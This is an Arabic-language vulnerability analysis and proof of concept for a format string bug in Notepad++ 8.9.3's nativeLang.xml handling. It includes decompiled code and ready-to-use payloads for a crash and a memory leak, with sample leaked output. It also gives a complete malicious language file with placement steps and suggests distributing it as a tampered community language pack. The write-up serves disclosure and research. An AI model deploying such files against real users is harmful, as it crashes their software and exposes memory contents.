
تحليل تقني وإثبات مفهوم لـ CVE-2026-3008، وهي حقنة سلسلة تنسيق في Notepad++ 8.9.3 عبر nativeLang.xml، مما يتيح رفض الخدمة وكشف المعلومات.
عندما تُنتج عملية بحث نتائج، تقوم الدالة sub_1400916C0 بتنسيق تسمية عدد النتائج عن طريق استرجاع سلسلة مترجمة من nativeLang.xml وتمريرها مباشرة كسلسلة تنسيق إلى wsprintfW:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
تنشأ السلسلة من السمة <find-result-hits> في nativeLang.xml دون أي تحقق في أي نقطة من مسار تدفق البيانات:
nativeLang.xml
→ محلل TinyXML (يقرأ سمة XML، دون التحقق من المحتوى)
→ NativeLangSpeaker (تحويل UTF-8 → UTF-16، دون تحقق)
→ sub_140099E60 (استبدال $INT_REPLACE$ — تبقى محددات التنسيق سليمة)
→ wsprintfW(buf, v38) (يُستخدم v38 كوسيطة سلسلة تنسيق، وليس كبيانات)
يتم استدعاء wsprintfW بوسيطتين فقط — دون وسائط بيانات متغيرة العدد. أي محددات تنسيق في v38 تقرأ قيمًا من فتحات الوسائط الخاصة باصطلاح استدعاء x64 (R8, R9, المكدس)، والتي تحتوي على بقايا قيم سجلات عشوائية.
| الحقل | القيمة |
|---|---|
| الدالة | sub_1400916C0 (مُهيئ لوحة نتائج البحث) |
| عنوان نقطة الانهيار | 0x140091E6D |
| المُحفّز | أي بحث يُنتج نتائج (بحث عن الكل، بحث في الملفات، تحديد الكل، استبدال الكل) |
يتم استدعاء sub_1400916C0 من أربعة مواضع في إجراء نافذة نتائج البحث (sub_140089BF0):
| العنوان | المُحفّز |
|---|---|
0x14008B63B | بحث في الملفات |
0x14008B72D | بحث عن الكل في المستند الحالي / جميع المستندات |
0x14008B97E | استبدال الكل |
0x14008B9FE | تحديد الكل |
%s (رفض الخدمة)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
كل %s يفسّر قيمة سجل أو مكدس عشوائية كمؤشر WCHAR*. أول عنوان غير صالح يُطلق انتهاك وصول فوري (STATUS_ACCESS_VIOLATION, 0xC0000005). يتعطّل Notepad++ في كل بحث لاحق حتى تتم إزالة الملف الخبيث — رفض خدمة موثوق وفوري.
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
تُقرأ محتويات المكدس والسجلات كقيم DWORD وتُنسق بالنظام الست عشري، وتظهر في تبويب لوحة نتائج البحث. مخرجات مُلاحظة من اختبار حي:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
قيم مثل 5852bb18 و7b1052e0 هي أجزاء مبتورة من مؤشرات 64-بت.
wsprintfW (user32.dll) لا يدعم %n — لا توجد بدائية كتابة-أين-ماذا. حد الإخراج الثابت البالغ 1024 حرفًا يطابق حجم المخزن الوجهة تمامًا، مما يستبعد تجاوز المخزن في الكومة. الثغرة مؤكدة كـ رفض خدمة + كشف معلومات. تنفيذ الكود غير قابل للتحقيق عبر سلسلة التنسيق هذه وحدها.
nativeLang.xml غير موجود افتراضيًا — تثبيتات اللغة الإنجليزية غير متأثرة. عندما يختار المستخدم لغة غير الإنجليزية عبر الإعدادات ← التفضيلات ← عام ← التوطين، يكتب Notepad++ الملف المقابل إلى:
| الإصدار | المسار |
|---|---|
| المثبّت | %APPDATA%\Notepad++\nativeLang.xml |
| المحمول | <npp_directory>\nativeLang.xml |
من بين 94 ملف توطين مُرفق، 43 تحتوي على عنصر <find-result-hits>. مستخدمو تلك اللغات معرّضون للخطر إذا تم العبث بـ nativeLang.xml الخاص بهم — على سبيل المثال، عبر حزمة لغة مجتمعية خبيثة تُوزَّع عبر المنتديات أو مواقع التنزيل. يمكن للمهاجم تضمين ترجمات شرعية لجميع السلاسل الأخرى، مما يجعل الملف يبدو طبيعيًا.
ضع الملف التالي في <npp_directory>\nativeLang.xml (المحمول) أو %APPDATA%\Notepad++\nativeLang.xml (المثبّت)، ثم افتح Notepad++ ونفّذ أي بحث يُنتج نتائج (Ctrl+F ← بحث عن الكل في المستند الحالي).
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
النتيجة: يتعطّل Notepad++ فورًا مع انتهاك وصول في wsprintfW.
توجد متغيرات حمولة إضافية في دليل payloads/.